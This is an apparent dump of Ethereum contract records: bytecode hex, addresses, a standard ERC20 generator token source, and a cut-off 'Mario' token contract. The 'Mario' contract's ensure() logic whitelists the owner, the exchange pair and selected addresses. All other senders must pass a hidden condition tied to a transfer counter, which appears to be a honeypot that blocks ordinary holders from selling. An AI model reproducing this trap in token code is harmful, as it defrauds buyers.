60405180602001604052808460000151815250615182565b6020820152604081018390525b6001600160a01b0385166000908152600e6020908152604080832054601590925282205461432c91906127d4565b905060008090508183602001511115614349578183602001510390505b61435161346c565b6009541461436f57614365600a601b612dc7565b9350505050611351565b826040015161437c612798565b101561438e57614365600e601c612dc7565b61439c878460400151613b0b565b6143ac600d5484602001516127d4565b600d556001600160a01b0387166000908152600e6020908152604090912054908401516143d991906127d4565b6001600160a01b0388166000908152600e602052604090205580156144025761440287826132bf565b306001600160a01b0316876001600160a01b03166000805160206153ed83398151915285602001516040518082815260200191505060405180910390a360408084015160208086015183516001600160a01b038c168152918201929092528083019190915290517fe5b754fb1abb7f01b499791d0b820ae3b6af3424ac1c59768edb53f4ec31a9299181900360600190a1600554604080850151602086015182516351dff98960e01b81523060048201526001600160a01b038c811660248301526044820193909352606481019190915291519216916351dff9899160848082019260009290919082900301818387803b1580156144ff57600080fd5b505af1158015614513573d6000803e3d6000fd5b5060009250614520915050565b979650505050505050565b6000806145378461302a565b60055460408051634ef4c3e160e01b81523060048201526001600160a01b0387811660248301526044820187905291516000939290921691634ef4c3e19160648082019260209290919082900301818787803b15801561459657600080fd5b505af11580156145aa573d6000803e3d6000fd5b505050506040513d60208110156145c057600080fd5b5051905080156145e4576145d76003601583614133565b9250600091506147c89050565b836145f05760006145d7565b6145f861346c565b6009541461460c576145d7600a6016612dc7565b6146146152a1565b61461c6128b7565b81526146288686614f72565b6040808301829052805160208101909152825181526146479190615182565b60208201819052600d5461465a9161279e565b600d556001600160a01b0386166000908152600e602090815260409091205490820151614687919061279e565b6001600160a01b038088166000818152600e602090815260409182902094909455600554815163929fe9a160e01b81526004810193909352306024840152905192169263929fe9a192604480840193829003018186803b1580156146ea57600080fd5b505afa1580156146fe573d6000803e3d6000fd5b505050506040513d602081101561471457600080fd5b50511561472b5761472986826020015161316c565b505b60408082015160208084015183516001600160a01b038b168152918201929092528083019190915290517f4c209b5fc8ad50758f13e2e1088ba56a560dff690a1c6fef26394f4c03821c4f9181900360600190a1856001600160a01b0316306001600160a01b03166000805160206153ed83398151915283602001516040518082815260200191505060405180910390a360400151600093509150505b9250929050565b6005546040805163368f515360e21b81523060048201526001600160a01b0385811660248301526044820185905291516000938493169163da3d454c91606480830192602092919082900301818787803b15801561482c57600080fd5b505af1158015614840573d6000803e3d6000fd5b505050506040513d602081101561485657600080fd5b5051905080156148755761486d6003600683614133565b915050610ed1565b826148a157600a546001600160a01b03851660009081526010602052604081206001019190915561486d565b6148a961346c565b600954146148bd5761486d600a6004612dc7565b826148c6612798565b10156148d85761486d600e6003612dc7565b6148e06152c2565b6148e985613417565b602082018190526148fa908561279e565b6040820152600b5461490c908561279e565b606082015261491b8585613b0b565b604080820180516001600160a01b03881660008181526010602090815290859020928355600a54600190930192909255606080860151600b81905593518551928352928201899052818501929092529081019190915290517f13ed6866d4e1ee6da46f845c46d7e54120883d75c5ea9a2dacc1c4ca8984ab809181900360800190a1600095945050505050565b60008315806149b5575082155b156149c257506000611351565b838302838582816149cf57fe5b041483906112ea5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315613e42578181015183820152602001613e2a565b60008183614a6d5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315613e42578181015183820152602001613e2a565b50828481614a7757fe5b04949350505050565b60055460408051632fe3f38f60e11b81523060048201526001600160a01b0384811660248301528781166044830152868116606483015260848201869052915160009384938493911691635fc7e71e9160a48082019260209290919082900301818787803b158015614af157600080fd5b505af1158015614b05573d6000803e3d6000fd5b505050506040513d6020811015614b1b57600080fd5b505190508015614b3f57614b326003600a83614133565b925060009150614f699050565b614b4761346c565b60095414614b5b57614b32600a600e612dc7565b614b6361346c565b846001600160a01b0316636c540baf6040518163ffffffff1660e01b815260040160206040518083038186803b158015614b9c57600080fd5b505afa158015614bb0573d6000803e3d6000fd5b505050506040513d6020811015614bc657600080fd5b505114614bd957614b32600a6009612dc7565b866001600160a01b0316866001600160a01b03161415614bff57614b326006600f612dc7565b84614c1057614b326007600d612dc7565b600019851415614c2657614b326007600c612dc7565b600080614c34898989613ed7565b90925090508115614c6457614c55826010811115614c4e57fe5b6010612dc7565b945060009350614f6992505050565b6005546040805163c488847b60e01b81523060048201526001600160a01b038981166024830152604482018590528251600094859492169263c488847b926064808301939192829003018186803b158015614cbe57600080fd5b505afa158015614cd2573d6000803e3d6000fd5b505050506040513d6040811015614ce857600080fd5b50805160209091015190925090508115614d335760405162461bcd60e51b815260040180806020018281038252603381526020018061540d6033913960400191505060405180910390fd5b80886001600160a01b03166370a082318c6040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b158015614d8a57600080fd5b505afa158015614d9e573d6000803e3d6000fd5b505050506040513d6020811015614db457600080fd5b50511015614e09576040805162461bcd60e51b815260206004820152601860248201527f4c49515549444154455f5345495a455f544f4f5f4d5543480000000000000000604482015290519081900360640190fd5b60006001600160a01b038916301415614e2f57614e28308d8d856136b8565b9050614eb9565b6040805163b2a02ff160e01b81526001600160a01b038e811660048301528d81166024830152604482018590529151918b169163b2a02ff1916064808201926020929091908290030181600087803b158015614e8a57600080fd5b505af1158015614e9e573d6000803e3d6000fd5b505050506040513d6020811015614eb457600080fd5b505190505b8015614f03576040805162461bcd60e51b81526020600482015260146024820152731d1bdad95b881cd95a5e9d5c994819985a5b195960621b604482015290519081900360640190fd5b604080516001600160a01b03808f168252808e1660208301528183018790528b1660608201526080810184905290517f298637f684da70674f26509b10f07ec2fbc77a335ab1e7d6215a4b2484d8bb529181900360a00190a16000975092955050505050505b94509492505050565b601154604080516370a0823160e01b815230600482015290516000926001600160a01b031691839183916370a08231916024808301926020929190829003018186803b158015614fc157600080fd5b505afa158015614fd5573d6000803e3d6000fd5b505050506040513d6020811015614feb57600080fd5b5051604080516323b872dd60e01b81526001600160a01b038881166004830152306024830152604482018890529151929350908416916323b872dd9160648082019260009290919082900301818387803b15801561504857600080fd5b505af115801561505c573d6000803e3d6000fd5b5050505060003d60008114615078576020811461508257600080fd5b600019915061508e565b60206000803e60005191505b50806150e1576040805162461bcd60e51b815260206004820152601860248201527f544f4b454e5f5452414e534645525f494e5f4641494c45440000000000000000604482015290519081900360640190fd5b601154604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561512c57600080fd5b505afa158015615140573d6000803e3d6000fd5b505050506040513d602081101561515657600080fd5b50519050600061516682856127d4565b90506151746013548261279e565b601355979650505050505050565b600061518c6151ce565b612d2884846151996151ce565b60006151ad670de0b6b3a764000085613a96565b905060405180602001604052806151c48386614115565b9052949350505050565b6040518060200160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061522257805160ff191683800117855561524f565b8280016001018555821561524f579182015b8281111561524f578251825591602001919060010190615234565b506129199291506152eb565b6040805161010081019091528060008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081525090565b60405180606001604052806000815260200160008152602001600081525090565b604080516080810190915280600081526020016000815260200160008152602001600081525090565b6111bd91905b8082111561291957600081556001016152f156fe6f6e6c792061646d696e206d617920696e697469616c697a6520746865206d61726b65746d61726b6574206d6179206f6e6c7920626520696e697469616c697a6564206f6e6365696e697469616c2065786368616e67652072617465206d7573742062652067726561746572207468616e207a65726f2e6f6e6c792061646d696e2063616e2073657420636f6c6c61746572616c2063617073657474696e6720696e7465726573742072617465206d6f64656c206661696c65646f6e6c79207468652061646d696e206d61792063616c6c205f72657369676e496d706c656d656e746174696f6eddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef4c49515549444154455f434f4d5054524f4c4c45525f43414c43554c4154455f414d4f554e545f5345495a455f4641494c45446f6e6c7920636f6d7074726f6c6c6572206d617920726567697374657220636f6c6c61746572616c20666f7220757365726f6e6c7920636f6d7074726f6c6c6572206d617920756e726567697374657220636f6c6c61746572616c20666f7220757365726f6e65206f662072656465656d546f6b656e73496e206f722072656465656d416d6f756e74496e206d757374206265207a65726f6f6e6c79207468652061646d696e206d61792063616c6c205f6265636f6d65496d706c656d656e746174696f6e1d22042d9eb89f2620572acbf8d85b66fba5a2ca19d166d8659574440175c964666c6173684c6f616e20616d6f756e742073686f756c642062652067726561746572207468616e207a65726fa265627a7a72315820d21702fba678e3a245d464668faf773bcbb5841a091c28839e1ac22169012a5464736f6c63430005110032
[ 7, 24, 17, 9, 12, 5 ]
0xf330D59F6755BD3088a6513fcDf2a4B97F802856
// SPDX-License-Identifier: MIT /* * Token has been generated for FREE using https://vittominacori.github.io/erc20-generator/ * * NOTE: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed * using the same generator. It is not an issue. It means that you won't need to verify your source code because of * it is already verified. * * DISCLAIMER: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT. * The following code is provided under MIT License. Anyone can use it as per their needs. * The generator's purpose is to make people able to tokenize their ideas without coding or paying for it. * Source code is well tested and continuously updated to reduce risk of bugs and to introduce language optimizations. * Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to * carefully weighs all the information and risks detailed in Token owner's Conditions. */ // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: contracts/service/ServicePayer.sol pragma solidity ^0.8.0; interface IPayable { function pay(string memory serviceName) external payable; } /** * @title ServicePayer * @dev Implementation of the ServicePayer */ abstract contract ServicePayer { constructor (address payable receiver, string memory serviceName) payable { IPayable(receiver).pay{value: msg.value}(serviceName); } } // File: contracts/utils/GeneratorCopyright.sol pragma solidity ^0.8.0; /** * @title GeneratorCopyright * @author ERC20 Generator (https://vittominacori.github.io/erc20-generator) * @dev Implementation of the GeneratorCopyright */ contract GeneratorCopyright { string private constant _GENERATOR = "https://vittominacori.github.io/erc20-generator"; string private _version; constructor (string memory version_) { _version = version_; } /** * @dev Returns the token generator tool. */ function generator() public pure returns (string memory) { return _GENERATOR; } /** * @dev Returns the token generator version. */ function version() public view returns (string memory) { return _version; } } // File: contracts/token/ERC20/SimpleERC20.sol pragma solidity ^0.8.0; /** * @title SimpleERC20 * @author ERC20 Generator (https://vittominacori.github.io/erc20-generator) * @dev Implementation of the SimpleERC20 */ contract SimpleERC20 is ERC20, ServicePayer, GeneratorCopyright("v5.0.1") { constructor ( string memory name_, string memory symbol_, uint256 initialBalance_, address payable feeReceiver_ ) ERC20(name_, symbol_) ServicePayer(feeReceiver_, "SimpleERC20") payable { require(initialBalance_ > 0, "SimpleERC20: supply cannot be zero"); _mint(_msgSender(), initialBalance_); } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806354fd4d501161008c57806395d89b411161006657806395d89b4114610195578063a457c2d71461019d578063a9059cbb146101b0578063dd62ed3e146101c357600080fd5b806354fd4d501461015c57806370a08231146101645780637afa1eed1461018d57600080fd5b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461011557806323b872dd14610127578063313ce5671461013a5780633950935114610149575b600080fd5b6100dc6101fc565b6040516100e99190610846565b60405180910390f35b61010561010036600461081d565b61028e565b60405190151581526020016100e9565b6002545b6040519081526020016100e9565b6101056101353660046107e2565b6102a4565b604051601281526020016100e9565b61010561015736600461081d565b61035a565b6100dc610391565b61011961017236600461078f565b6001600160a01b031660009081526020819052604090205490565b6100dc6103a0565b6100dc6103c0565b6101056101ab36600461081d565b6103cf565b6101056101be36600461081d565b61046a565b6101196101d13660046107b0565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60606003805461020b906108c8565b80601f0160208091040260200160405190810160405280929190818152602001828054610237906108c8565b80156102845780601f1061025957610100808354040283529160200191610284565b820191906000526020600020905b81548152906001019060200180831161026757829003601f168201915b5050505050905090565b600061029b338484610477565b50600192915050565b60006102b184848461059b565b6001600160a01b03841660009081526001602090815260408083203384529091529020548281101561033b5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61034f853361034a86856108b1565b610477565b506001949350505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161029b91859061034a908690610899565b60606005805461020b906108c8565b60606040518060600160405280602f815260200161091a602f9139905090565b60606004805461020b906108c8565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156104515760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610332565b610460338561034a86856108b1565b5060019392505050565b600061029b33848461059b565b6001600160a01b0383166104d95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610332565b6001600160a01b03821661053a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610332565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166105ff5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610332565b6001600160a01b0382166106615760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610332565b6001600160a01b038316600090815260208190526040902054818110156106d95760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610332565b6106e382826108b1565b6001600160a01b038086166000908152602081905260408082209390935590851681529081208054849290610719908490610899565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161076591815260200190565b60405180910390a350505050565b80356001600160a01b038116811461078a57600080fd5b919050565b6000602082840312156107a0578081fd5b6107a982610773565b9392505050565b600080604083850312156107c2578081fd5b6107cb83610773565b91506107d960208401610773565b90509250929050565b6000806000606084860312156107f6578081fd5b6107ff84610773565b925061080d60208501610773565b9150604084013590509250925092565b6000806040838503121561082f578182fd5b61083883610773565b946020939093013593505050565b6000602080835283518082850152825b8181101561087257858101830151858201604001528201610856565b818111156108835783604083870101525b50601f01601f1916929092016040019392505050565b600082198211156108ac576108ac610903565b500190565b6000828210156108c3576108c3610903565b500390565b600181811c908216806108dc57607f821691505b602082108114156108fd57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfe68747470733a2f2f766974746f6d696e61636f72692e6769746875622e696f2f65726332302d67656e657261746f72a26469706673582212200315b04416bc8583c10593e3cb96b647a898c96162e4c292753f8ea5ec5a123164736f6c63430008040033
[ 38 ]
0xf33105a3bbb52ab2220075469a53d3518e196d0f
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract Mario { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); //go the white address first if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { 